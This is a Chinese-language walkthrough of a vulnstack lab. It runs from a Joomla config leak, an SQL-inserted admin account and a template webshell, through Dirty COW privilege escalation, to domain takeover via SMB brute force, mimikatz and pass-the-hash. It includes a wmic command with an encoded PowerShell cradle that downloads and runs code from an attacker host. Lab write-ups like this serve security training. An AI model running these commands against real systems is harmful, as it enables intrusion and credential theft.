本文最后更新于:2022年5月19日 晚上
环境搭建
靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
将虚拟机下载下来后按照官方说明配置好网络环境即可开始测试
渗透流程
0x01 WEB信息收集
查看靶机WEB服务,发现是Joomla CMS搭建的demo站点
扫描目录得到配置文件的备份configuration.php~
在其中翻到后端数据库的用户名和密码
同时端口扫描发现数据库服务可以外联
尝试用得到的账户密码登录,连接成功
0x02 添加管理员账户登入后台
尝试破解后台管理员账户,发现不是常规的加密。遂放弃,尝试在官方文档中找到破局的思路。
访问官网查文档。发现有可以添加管理员的方法
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
1 2 3 4 5 6
| INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
|
这里要注意的是根据官方文档的说法,需要更改后缀为_user
的表,但是在数据库中有两个这样的表。。
尝试后发现是am2zu_users
表在起作用
之后使用添加的账号密码成功登录
0x03 上传WebShell
在 控制栏—->Extensions—->Templates—->Templates 处修改模板,添加一句话木马
使用蚁剑连接成功
0x04 Bypass disable_function&横向移动
在尝试执行命令的时候发现设置了disable_functions
遂使用蚁剑的bypass_disable_functions
插件进行绕过,这里使用的绕过方式是Json Serializer UAF
一番搜索后在/tmp/mysql/test.txt
中发现了可以利用的信息
一番尝试后,使用该账号密码登上了Centos机器
0x05 提权
登陆后没有收集到更多有用信息,遂尝试提权。在查看内核版本号后发现该内核受脏牛提权漏洞的影响
上传exp
编译执行
获得root权限
使用msf的web_delivery
模块获得meterpreter
0x06 内网横向移动
添加路由并对局域网段进行扫描
P.S. 其实不用添加路由,攻击机本身就有192.168.93.1的地址。但随手就加上了
使用auxiliary/scanner/smb/smb_version
对域内存活的主机和版本号进行然侧
1 2 3
| [+] 192.168.93.10:445 - Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST) [*] 192.168.93.20:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional) [+] 192.168.93.30:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST)
|
并尝试使用ms17-010进行横向移动,未果
只能尝试对SMB模块进行爆破,这里不知道为什么msf和这台机器的连接一直出问题,卡了好久
最后切到hydra进行爆破,得到口令
这里使用msf进行hash传递时依旧失败。只能使用exploit/multi/script/web_delivery
模块配合wmic进行上线
1
| wmic /node:192.168.93.20 /user:administrator /password:123qwe!ASD process call create "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABuAHAAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAbgBwAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAbgBwAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADkAMwAuADEAOgA4ADkANwA2AC8AQwB5ADEAcQBPAHQARwBZAEcAMQBCAFoANQA5ADcALwBqAGYAMwAzAGsATgBKAE4AcQB0AEkAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA5ADMALgAxADoAOAA5ADcANgAvAEMAeQAxAHEATwB0AEcAWQBHADEAQgBaADUAOQA3ACcAKQApADsA"
|
执行成功后即可得到meterpreter
之后提权,加载mimikatz,导出凭据,可以拿到明文密码
这里需要注意的是,==该虚拟机不能关闭,只能暂停,否则重启后域管理员的登录凭据将消失,抓不到了==。
使用明文密码进行PTH操作,拿到域控的Meterpreter
对PC机同理,不过该机没有接入域,使用的是拿到的第一个密码
0x07 拿到Flag
想找flag的话,图形界面会比较方便。所以最后上线了CS,用CS的文件浏览功能寻找flag
最后在C:\Users\Administrator\Documents
下找到了flag.txt